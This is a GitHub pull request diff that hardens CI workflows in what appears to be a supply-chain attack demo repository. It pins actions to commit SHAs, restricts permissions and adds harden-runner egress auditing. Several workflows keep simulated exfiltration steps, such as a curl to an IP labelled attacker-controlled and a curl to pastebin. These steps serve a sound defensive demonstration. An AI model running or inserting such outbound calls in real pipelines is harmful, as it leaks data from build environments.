Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
9 changes: 9 additions & 0 deletions .github/workflows/PRTargetWorkflow.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,20 @@ on:
- synchronize
- reopened

permissions: {}

jobs:
pr-target-check:
permissions:
contents: read # for actions/checkout to fetch code
runs-on: ubuntu-latest

steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- name: Check out code
uses: actions/checkout@v4

Expand Down
6 changes: 5 additions & 1 deletion .github/workflows/anomalous-outbound-calls.yaml
Original file line number Diff line number Diff line change
@@ -1,13 +1,17 @@
name: Anomalous Outbound Calls
on:
workflow_dispatch:
permissions: {}

jobs:
unexpected-outbound-calls:
permissions:
contents: read
name: AnomalousOutboundCalls
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit
- run: "curl https://pastebin.com -L || true"
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/arc-codecov-simulation.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ jobs:
runs-on: self-hosted
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: block
allowed-endpoints: >
Expand All @@ -28,7 +28,7 @@ jobs:
cd ./src/exfiltration-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
16 changes: 16 additions & 0 deletions .github/workflows/arc-secure-by-default.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,18 +2,34 @@ name: "ARC: Secure-By-Default Cluster-Level Policy"
on:
workflow_dispatch:

permissions: {}

jobs:
direct-ip-hosted:
permissions:
contents: read # for actions/checkout to fetch code
runs-on: ubuntu-latest
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3

# Codecov Scenario: Exfiltrate data to attacker's IP address
- name: Data Exfiltration To Attacker Controlled IP address
run: curl 104.16.209.12 --connect-timeout 5
direct-ip-arc:
permissions:
contents: read # for actions/checkout to fetch code
runs-on: self-hosted
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3

# Codecov Scenario: Exfiltrate data to attacker's IP address
Expand Down
7 changes: 6 additions & 1 deletion .github/workflows/arc-solarwinds-simulation.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,11 @@ jobs:
arc-solarwinds-simulation:
runs-on: self-hosted
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
Expand All @@ -15,7 +20,7 @@ jobs:
cd ./src/backdoor-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
7 changes: 6 additions & 1 deletion .github/workflows/arc-zero-effort-observability.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,6 +6,11 @@ jobs:
build:
runs-on: self-hosted
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
Expand All @@ -15,7 +20,7 @@ jobs:
cd ./src/exfiltration-demo
npm install
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
8 changes: 4 additions & 4 deletions .github/workflows/baseline_checks.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,11 +7,11 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@int-sh
- uses: step-security/harden-runner@668ad3cce4bd0191ec8fdd9868adcb7521a9dacd # int-sh
with:
egress-policy: audit

- uses: crazy-max/ghaction-github-status@v4
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0

- uses: actions/checkout@v3

Expand All @@ -22,12 +22,12 @@ jobs:

- name: get-npm-version
id: package-version
uses: martinbeentjes/npm-get-version-action@v1.3.1
uses: martinbeentjes/npm-get-version-action@3cf273023a0dda27efcd3164bdfb51908dd46a5b # v1.3.1
with:
path: src/exfiltration-demo

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
6 changes: 5 additions & 1 deletion .github/workflows/block-dns-exfiltration.yaml
Original file line number Diff line number Diff line change
@@ -1,13 +1,17 @@
name: Block DNS Exfiltration With Harden-Runner
on:
workflow_dispatch:
permissions: {}

jobs:
build:
permissions:
contents: read # for actions/checkout to fetch code
name: Deploy
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: block
allowed-endpoints: |
Expand Down
4 changes: 2 additions & 2 deletions .github/workflows/changed-files-vulnerability-with-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -15,7 +15,7 @@ jobs:
name: Test changed-files
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
disable-sudo: true
egress-policy: block
Expand All @@ -29,7 +29,7 @@ jobs:
# Example 1
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5

- name: List all changed files
run: |
Expand Down
7 changes: 6 additions & 1 deletion .github/workflows/changed-files-vulnerability-without-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -14,14 +14,19 @@ jobs:
runs-on: ubuntu-latest
name: Test changed-files
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v4
with:
fetch-depth: 0

# Example 1
- name: Get changed files
id: changed-files
uses: tj-actions/changed-files@v40
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5

- name: List all changed files
run: |
Expand Down
6 changes: 3 additions & 3 deletions .github/workflows/hosted-file-monitor-with-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,7 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
- uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

Expand All @@ -17,13 +17,13 @@ jobs:
cd ./src/backdoor-demo
npm install

- uses: madhead/semver-utils@latest
- uses: madhead/semver-utils@36d1e0ed361bd7b4b77665de8093092eaeabe6ba # latest
id: version
with:
version: 1.2.3

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
9 changes: 7 additions & 2 deletions .github/workflows/hosted-file-monitor-without-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,20 +6,25 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3

- name: npm install
run: |
cd ./src/backdoor-demo
npm install

- uses: madhead/semver-utils@latest
- uses: madhead/semver-utils@36d1e0ed361bd7b4b77665de8093092eaeabe6ba # latest
id: version
with:
version: 1.2.3

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
9 changes: 7 additions & 2 deletions .github/workflows/hosted-https-monitoring-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -2,17 +2,22 @@ name: "Hosted: HTTPS Monitoring with Harden-Runner"
on:
workflow_dispatch:

permissions: {}

jobs:
build:
permissions:
contents: read # for JasonEtco/create-an-issue to read template files
issues: write # for JasonEtco/create-an-issue to create new issues
runs-on: ubuntu-latest
steps:
- uses: step-security/harden-runner@v2
- uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: actions/checkout@v3

- uses: JasonEtco/create-an-issue@v2
- uses: JasonEtco/create-an-issue@1b14a70e4d8dc185e5cc76d3bec9eab20257b2c5 # v2.9.2
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Expand Down
10 changes: 5 additions & 5 deletions .github/workflows/hosted-network-filtering-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -7,7 +7,7 @@ jobs:
runs-on: ubuntu-latest
steps:
- name: Harden Runner
uses: step-security/harden-runner@v2
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
disable-sudo: true
egress-policy: block
Expand All @@ -17,7 +17,7 @@ jobs:
registry.npmjs.org:443
www.githubstatus.com:443

- uses: crazy-max/ghaction-github-status@v4
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0

- uses: actions/checkout@v3

Expand All @@ -28,17 +28,17 @@ jobs:

- name: get-npm-version
id: package-version
uses: martinbeentjes/npm-get-version-action@v1.3.1
uses: martinbeentjes/npm-get-version-action@3cf273023a0dda27efcd3164bdfb51908dd46a5b # v1.3.1
with:
path: src/exfiltration-demo

- uses: madhead/semver-utils@latest
- uses: madhead/semver-utils@36d1e0ed361bd7b4b77665de8093092eaeabe6ba # latest
id: version
with:
version: 1.2.3

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
6 changes: 3 additions & 3 deletions .github/workflows/hosted-network-monitoring-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -10,7 +10,7 @@ jobs:
with:
egress-policy: audit

- uses: crazy-max/ghaction-github-status@v4
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0

- uses: actions/checkout@v3

Expand All @@ -21,12 +21,12 @@ jobs:

- name: get-npm-version
id: package-version
uses: martinbeentjes/npm-get-version-action@v1.3.1
uses: martinbeentjes/npm-get-version-action@3cf273023a0dda27efcd3164bdfb51908dd46a5b # v1.3.1
with:
path: src/exfiltration-demo

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
11 changes: 8 additions & 3 deletions .github/workflows/hosted-network-without-hr.yml
Original file line number Diff line number Diff line change
Expand Up @@ -6,7 +6,12 @@ jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: crazy-max/ghaction-github-status@v4
- name: Harden the runner (Audit all outbound calls)
uses: step-security/harden-runner@002fdce3c6a235733a90a27c80493a3241e56863 # v2.12.1
with:
egress-policy: audit

- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0

- uses: actions/checkout@v3

Expand All @@ -17,12 +22,12 @@ jobs:

- name: get-npm-version
id: package-version
uses: martinbeentjes/npm-get-version-action@v1.3.1
uses: martinbeentjes/npm-get-version-action@3cf273023a0dda27efcd3164bdfb51908dd46a5b # v1.3.1
with:
path: src/exfiltration-demo

- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@v5
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
with:
name: ${{ github.repository }}/prod:latest
username: ${{ github.actor }}
Expand Down
Loading
Loading